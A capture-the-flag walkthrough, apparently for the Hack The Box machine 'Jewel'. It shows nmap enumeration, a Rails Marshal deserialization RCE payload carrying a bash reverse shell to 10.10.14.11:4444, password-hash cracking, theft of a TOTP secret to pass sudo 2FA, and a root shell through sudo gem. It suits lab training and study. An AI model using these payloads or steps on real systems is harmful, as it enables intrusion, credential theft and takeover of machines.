# Jewel

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FZIiGnwDPFXdsEpjmO2r5%2Fjewel.png?alt=media&#x26;token=7454de1b-8061-4a5c-a64e-0703c7dc929e" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.211 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.92 scan initiated Mon Sep 12 14:44:59 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.211
Nmap scan report for 10.10.10.211
Host is up (0.044s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt
8080/tcp open  http-proxy

# Nmap done at Mon Sep 12 14:45:26 2022 -- 1 IP address (1 host up) scanned in 26.65 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,8000,8080 10.10.10.211 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.92 scan initiated Mon Sep 12 14:46:07 2022 as: nmap -sCV -p22,8000,8080 -oN targeted 10.10.10.211
Nmap scan report for 10.10.10.211
Host is up (0.036s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    Apache httpd 2.4.38
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-title: BL0G!
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 12 14:46:23 2022 -- 1 IP address (1 host up) scanned in 16.49 seconds
```

{% endcode %}

There are two websites. The on on port *8000* shows a *Git* page with a project called `BL0G!`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fm9mfHohw6FAw6bG0IDKU%2Fimage.png?alt=media&#x26;token=47bf8c6b-51c6-4632-9906-367aa0ed0ad0" alt=""><figcaption></figcaption></figure>

The other website on port *8080*, shows the blog itself.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FCqqGDUwZerWZfX7wvr8u%2Fimage.png?alt=media&#x26;token=d152a786-43e9-4be4-9aaf-c6903256ca2a" alt=""><figcaption></figcaption></figure>

We can download the entire project by hitting the `snapshot` button next to `Initial commit`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FwBPi4iV1NbXjZzwmkyB9%2Fimage.png?alt=media&#x26;token=5c16b866-c006-44c8-a8ce-9514726822c1" alt=""><figcaption></figcaption></figure>

Now, I will decompress the `.tar.gz` file, and rename the project to `git`.

> tar -xf git-5d6f436.tar.gz
>
> mv .git-5d6f436 git

We could execute the brakeman tool, which is a static analysis security vulnerability scanner for *Ruby on Rails* applications.

> brakeman

```
...
== Brakeman Report ==

Application Path: /home/alfa8sa/HTB/machines/jewel/git
Rails Version: 5.2.2.1
...
```

## Exploitation

We'll see that the application runs *rails 5.2.2.1*. I found this exploit which allow us to get *RCE* on the server. First, we'll have to create a new project with rails called `evil`.

> rails new evil

Then, execute the rails console.

> bundle exec rails console

Set the `code` variable to a command which will send us a reverse shell.

> code = '\`bash -c "bash -i >& /dev/tcp/10.10.14.11/4444 0>&1"\`'

Run the following commands.

> erb = ERB.allocate
>
> erb.instance\_variable\_set :@src, code
>
> erb.instance\_variable\_set :@filename, "1"
>
> erb.instance\_variable\_set :@lineno, 1
>
> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
>
> puts "payload"
>
> require 'uri'
>
> puts URI.encode\_www\_form(payload: payload)

```
payload=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3B%60bash++-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.11%2F4444+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T
```

Now that we have the proper payload, we need to find where to execute it. The vulnerability exploits the following code.

```ruby
data = cache.fetch("demo", raw: true) { untrusted_string }
```

If we check for `raw: true` on all the project file, we'll see it appears in two files.

> grep -r "raw: true"

```ruby
app/controllers/users_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
app/controllers/application_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
```

Those files control the website users. So we may have to register a new user.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FlcztUImAfCU4SzK90w8U%2Fimage.png?alt=media&#x26;token=e3d4ea0d-97db-4416-9eb1-0f7689c298b6" alt=""><figcaption></figcaption></figure>

Then, log in.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FATWvtYS7JTQKbeStQ2xS%2Fimage.png?alt=media&#x26;token=58879488-10ea-4ef0-bfd9-e86f681cf8bf" alt=""><figcaption></figcaption></figure>

The go to the `Profile` section, click on the `Update User`, and intercept the request with *BurpSuite*.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FCTs3KK9AZPXZ20jZTSkZ%2Fimage.png?alt=media&#x26;token=63c5c446-5392-4ba1-b192-248d4a4d993e" alt=""><figcaption></figcaption></figure>

Before modifying the request, let's set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Now, modify the request by putting the payload in the `user[username]` or `user%5Busername%5D` parameter.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FlfbX2L77p96KtnMFm7zt%2Fimage.png?alt=media&#x26;token=4bc7d536-48dd-40ce-bbda-5a40d8460ae5" alt=""><figcaption></figcaption></figure>

If now we forward the request, and reload the page, we should get a reverse shell as the bill user. Then, we'll be able to grab the user flag.

> <http://10.10.10.211:8080/users/18>

```
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.211] 49882
bash: cannot set terminal process group (810): Inappropriate ioctl for device
bash: no job control in this shell
bill@jewel:~/blog$ whoami
whoami
bill
bill@jewel:~/blog$ cat /home/bill/user.txt
cat /home/bill/user.txt
1ba37d01afb0c77776c733eb0851ea2f
```

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

By enumerating the system, I found the `/var/backups/dump_2020-08-27.sql` file with some passwords hashes.

> cat /var/backups/dump\_2020-08-27.sql

```
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
2       jennifer        jennifer@mail.htb       2020-08-27 05:44:28.551735      2020-08-27 05:44:28.551735      $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
1       bill    bill@mail.htb   2020-08-26 10:24:03.878232      2020-08-27 09:18:11.636483      $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
```

Let's put those hashes in a file, and try to break them with *john*.

> john --wordlist=/usr/share/wordlists/rockyou.txt hashes

```
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:28 0.00% (ETA: 2022-12-27 17:04) 0g/s 1.272p/s 6.364c/s 6.364C/s justin..basketball
0g 0:00:00:45 0.00% (ETA: 2022-12-24 20:14) 0g/s 1.587p/s 7.539c/s 7.539C/s shadow..sweety
spongebob        (?)
```

We can only break one, which is valid for the `bill` user, so now we can see his sudo privileges.

> sudo -l

```
[sudo] password for bill: spongebob
Verification code:
```

The system is asking for a verification code. If we take a look at the home directory of the `bill` user, we'll see the `.google_authenticator` file with the .

> ls -la /home/bill

```
total 52
drwxr-xr-x  6 bill bill 4096 Sep 17  2020 .
drwxr-xr-x  3 root root 4096 Aug 26  2020 ..
lrwxrwxrwx  1 bill bill    9 Aug 27  2020 .bash_history -> /dev/null
-rw-r--r--  1 bill bill  220 Aug 26  2020 .bash_logout
-rw-r--r--  1 bill bill 3526 Aug 26  2020 .bashrc
drwxr-xr-x 15 bill bill 4096 Sep 17  2020 blog
drwxr-xr-x  3 bill bill 4096 Aug 26  2020 .gem
-rw-r--r--  1 bill bill   43 Aug 27  2020 .gitconfig
drwx------  3 bill bill 4096 Aug 27  2020 .gnupg
-r--------  1 bill bill   56 Aug 28  2020 .google_authenticator
drwxr-xr-x  3 bill bill 4096 Aug 27  2020 .local
-rw-r--r--  1 bill bill  807 Aug 26  2020 .profile
lrwxrwxrwx  1 bill bill    9 Aug 27  2020 .rediscli_history -> /dev/null
-r--------  1 bill bill   33 Sep 12 18:59 user.txt
-rw-r--r--  1 bill bill  116 Aug 26  2020 .yarnrc
```

The `.google_authenticator` file contains the TOTP key necessary to get the verification code.

> cat /home/bill/.google\_authenticator

```
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH
```

Now we can use oathtool to get the verification code.

> oathtool -b --totp 2UQI3R52WFCLE6JTLDCSJYMJH4

```
743601
```

Now we can see the sudo privileges.

> sudo -l

```
[sudo] password for bill: spongebob                                                                                                        
Verification code: 743601                                                                                                               
Matching Defaults entries for bill on jewel:                                                                                      
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults               
                                                                                                                                  
User bill may run the following commands on jewel:                                                                                
    (ALL : ALL) /usr/bin/gem
```

We can execute gem as root. If we search for [gem](https://gtfobins.github.io/gtfobins/gem/#sudo) on the *GTFOBins* list, we'll see that we can spawn a shell as the root user.

{% hint style="info" %}
**GTFOBins** is a great list of binaries that can be used to escalate privileges if you have the right permissions.

<https://gtfobins.github.io/>
{% endhint %}

To get a shell as root, run the following command, and then all we have to do is reap the harvest and take the root flag.

> sudo gem open -e "/bin/sh -c /bin/sh" rdoc

{% code overflow="wrap" %}

```
# whoami                                                                                                                          
root                                                                                                                              
# cat /root/root.txt                                                                                                              
285f54b4ecee76d2eb8aaca2e259b6fa 
```

{% endcode %}
